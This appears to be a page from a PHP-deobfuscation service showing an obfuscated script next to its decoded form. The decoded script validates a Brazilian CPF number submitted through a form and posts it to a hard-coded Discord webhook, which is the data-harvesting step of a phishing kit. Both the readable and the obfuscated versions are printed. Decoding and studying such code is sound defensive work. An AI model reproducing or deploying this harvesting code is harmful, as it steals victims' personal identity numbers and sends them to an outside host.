Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto q436I; Adrz2: $modulo = $_POST["\x63\x70\x66"]; goto oWaNe; N2dYn: $cpf = $_POST["\x..

Decoded Output download

<?   goto q436I; Adrz2: $modulo = $_POST["cpf"]; goto oWaNe; N2dYn: $cpf = $_POST["cpf"]; goto JseOm; q436I: function validarCPF($cpf) { $cpf = preg_replace("/[^0-9]/", '', $cpf); if (strlen($cpf) != 11) { return false; } if (preg_match("/^([0-9])\1*$/", $cpf)) { return false; } $soma = 0; for ($i = 0; $i < 9; $i++) { $soma += (int) $cpf[$i] * (10 - $i); } $resto = $soma % 11; $digito1 = $resto < 2 ? 0 : 11 - $resto; $soma = 0; for ($i = 0; $i < 10; $i++) { $soma += (int) $cpf[$i] * (11 - $i); } $resto = $soma % 11; $digito2 = $resto < 2 ? 0 : 11 - $resto; if ($cpf[9] != $digito1 || $cpf[10] != $digito2) { return false; } return true; } goto N2dYn; oWaNe: if (empty($modulo)) { } else { $answer = $modulo; $content = "CPF ACESSO: {$answer}"; $link = "https://discord.com/api/webhooks/1119785558361788416/HVfj9HMDyhmbzlVo58owb9GCUsZEqbpCBetJ0goMGGxwk0H69_ATiZ3-WlTnxKe8HH1u"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd
", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto tQWug; JseOm: if (!validarCPF($cpf)) { echo "<p style='position:absolute; top: 50px; left: 10px; background-color: red; color: white; padding: 10px; z-index: 1;'>CPF inv\xc3\xa1lido</p>"; header("Location: invalid.php"); } goto Adrz2; tQWug: ?>

Did this file decode correctly?

Original Code

 goto q436I; Adrz2: $modulo = $_POST["\x63\x70\x66"]; goto oWaNe; N2dYn: $cpf = $_POST["\x63\160\146"]; goto JseOm; q436I: function validarCPF($cpf) { $cpf = preg_replace("\x2f\x5b\136\60\55\71\x5d\57", '', $cpf); if (strlen($cpf) != 11) { return false; } if (preg_match("\57\x5e\x28\x5b\60\x2d\x39\135\x29\134\x31\x2a\x24\x2f", $cpf)) { return false; } $soma = 0; for ($i = 0; $i < 9; $i++) { $soma += (int) $cpf[$i] * (10 - $i); } $resto = $soma % 11; $digito1 = $resto < 2 ? 0 : 11 - $resto; $soma = 0; for ($i = 0; $i < 10; $i++) { $soma += (int) $cpf[$i] * (11 - $i); } $resto = $soma % 11; $digito2 = $resto < 2 ? 0 : 11 - $resto; if ($cpf[9] != $digito1 || $cpf[10] != $digito2) { return false; } return true; } goto N2dYn; oWaNe: if (empty($modulo)) { } else { $answer = $modulo; $content = "\103\x50\106\x20\x41\x43\x45\123\123\x4f\72\40{$answer}"; $link = "\150\164\164\x70\x73\72\57\x2f\144\151\x73\143\157\x72\x64\x2e\143\x6f\155\57\141\160\151\57\x77\145\x62\150\157\157\153\163\x2f\61\61\x31\x39\67\70\x35\x35\x35\x38\x33\66\x31\67\x38\70\x34\61\66\x2f\x48\x56\146\152\71\x48\x4d\104\x79\x68\x6d\x62\x7a\x6c\x56\x6f\65\70\157\167\x62\71\x47\103\125\163\x5a\x45\x71\x62\x70\103\102\145\x74\112\x30\147\157\x4d\x47\107\170\x77\153\60\110\66\71\x5f\101\x54\x69\x5a\x33\55\127\x6c\124\x6e\x78\x4b\145\70\110\110\x31\x75"; $basearray = array("\x63\157\156\x74\x65\x6e\x74" => $content); $hookarray = array("\x68\x74\x74\160" => array("\x68\145\x61\144\145\162" => "\103\157\156\164\x65\x6e\x74\55\164\x79\160\x65\x3a\40\x61\160\160\154\151\143\x61\x74\151\157\156\57\x78\55\167\x77\167\55\x66\x6f\162\155\55\165\x72\x6c\x65\156\143\x6f\144\x65\x64\xd\12", "\x6d\x65\164\x68\157\x64" => "\120\117\x53\x54", "\143\157\156\164\x65\156\x74" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto tQWug; JseOm: if (!validarCPF($cpf)) { echo "\x3c\160\x20\163\x74\171\154\145\75\x27\x70\157\x73\x69\164\151\x6f\x6e\72\x61\x62\x73\x6f\154\165\164\x65\x3b\x20\164\x6f\x70\72\40\65\x30\160\x78\73\40\x6c\x65\x66\164\72\40\x31\60\160\x78\x3b\40\x62\x61\143\x6b\x67\162\x6f\x75\x6e\144\x2d\x63\157\154\157\162\72\x20\x72\145\x64\x3b\x20\x63\157\154\157\x72\x3a\x20\x77\x68\151\x74\145\x3b\x20\x70\141\x64\x64\151\156\x67\x3a\40\x31\60\x70\170\x3b\40\x7a\55\x69\x6e\x64\145\x78\x3a\x20\61\x3b\47\76\103\120\x46\x20\x69\x6e\166\xc3\xa1\x6c\x69\144\157\x3c\x2f\x70\x3e"; header("\114\157\143\x61\164\x69\x6f\x6e\72\40\x69\156\x76\141\x6c\x69\x64\x2e\x70\x68\x70"); } goto Adrz2; tQWug: ?>

Function Calls

None

Variables

None

Stats

MD5 6e47f9c7d209aaedc5093ec286c6d60e
Eval Count 0
Decode Time 40 ms